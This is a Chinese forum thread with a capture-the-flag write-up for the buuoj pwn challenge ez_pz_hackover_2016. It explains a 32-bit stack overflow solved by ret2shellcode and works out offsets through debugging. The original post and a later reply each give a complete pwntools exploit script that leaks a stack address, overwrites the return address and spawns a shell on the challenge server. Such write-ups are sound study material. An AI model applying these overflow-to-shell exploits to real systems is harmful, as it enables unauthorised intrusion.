bnuzgn 发表于 2023-7-28 15:04

[ret2shellcode+动态调试]ez_pz_hackover_2016

题目来源:buuoj
题目信息
ubuntu16(libc2.23)、32位,几乎啥都没开
   
主函数中先输出数组的地址(是字符串格式而不是二进制格式,可以直接使用int函数读取,参考wp),然后memchr函数会将'\n'之后的内容截断,所以需要\x00绕过,同时需要crashme\x00来达成strcmp的条件,转到vuln函数。
   
vuln函数将param_1中的内容复制到栈中的临时数组中,结合主函数的数组可以导致溢出。
   
解题思路

[*]由于保护措施没有怎么开,因此使用ret2shellcode方式,结合程序会直接输出数组的地址与参数溢出就可以直接getshell。
[*]现在的困难点在于找不到输入的shellcode的内存地址,因为vuln函数是子函数,而我们得到的数组地址是父函数中的地址,因此无法直接增加偏移得到shellcode地址。
[*]建议使用动态调试,将断点设置在vuln函数的leave处,此时可以看到memcpy复制的内容的栈中的相对位置。

关键步骤

[*]首先生成必须的部分,可以发现缺失了两个部分的内容:padding、ret_addr

[*]padding在本题中无法直接通过静态分析得到正确的答案,静态解析中是50字节,但是动态分析中没有这么多。这里需要大佬帮忙解惑。
[*]ret_addr是内存地址,需要在动态分析中结合本题中输出的数组位置得到。

payload = b"crashme\x00" + b'a'*padding + p32(ret_addr) + shellcode

[*]在wp中的注释位置打断点,一步步调试到vuln的leave处。此时查看50个机器字长的栈空间,可以发现ebp在0x38偏移处,而我们输入的crashme中的c保存在0x22处(小端序保存,0x20上的参数 0x72 63 f7 f6对应的是0x23,0x22,0x21,0x20 )因此vuln数组的起始位置想对于ebp偏移为0x38-0x22=0x16,而函数返回地址还需要增加0x4字节的ebp长度。别忘l‘crackme\x00’的长度是8字节,最终padding=0x16+4-8

   
还是上面这个图,右侧可以发现主函数chall中输出的数组地址为0xff95c28c,在左侧栈中的相对位置为0x5c,结合payload = b"crashme\x00" + b'a'*padding + p32(ret_addr) + shellcode可以发现,ret_addr的位置应该是shellcode的地址,而在栈中p32(ret_addr)保存在0x3c,shellcode是从0x40开始保存的,shellcode的位置是array_addr-(0x5c-0x40)即array_addr-0x1c
wp
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "ez_pz_hackover_2016"

if __name__ == '__main__':
    local = sys.argv
    if local == '1':
      r= process(pc)
      elf = ELF(pc)
      libc = elf.libc
    else:
      r=remote("node4.buuoj.cn",27598)
      elf = ELF(pc)
      libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

shellcode = asm(shellcraft.sh())
ru("Yippie, lets crash: ")
array_addr = int(r.recv(10),16)
lg('array_addr')
payload = b"crashme\x00" + b'a'*(0x16-8+4) + p32(array_addr-0x1c) + shellcode
#db()
sla("> ",payload)
ti()

磊先生 发表于 2023-7-29 14:08

感谢分享

RavenBlaze 发表于 2024-6-28 13:06

本帖最后由 RavenBlaze 于 2024-6-28 16:51 编辑

也可以从栈上crashme\x00最后一位\x00开始算padding,一直覆盖完ebp最后一位,即:0x3B-0x29=0x12
from pwn import *

p = remote("node5.buuoj.cn",12345)
context(arch='i386', os='linux',log_level='debug')

p.recvuntil(b'Yippie, lets crash: ')
leak = int(p.recv(10), 16)

padding = (0x3B-0x29) * b'A'
stack = leak - 0x1C
shellcode = asm(shellcraft.i386.linux.sh())

p.recvuntil(b'> ')
payload = b'crashme\x00' + padding + p32(stack) + shellcode
p.sendline(payload)

p.interactive()

页: [1]
查看完整版本: [ret2shellcode+动态调试]ez_pz_hackover_2016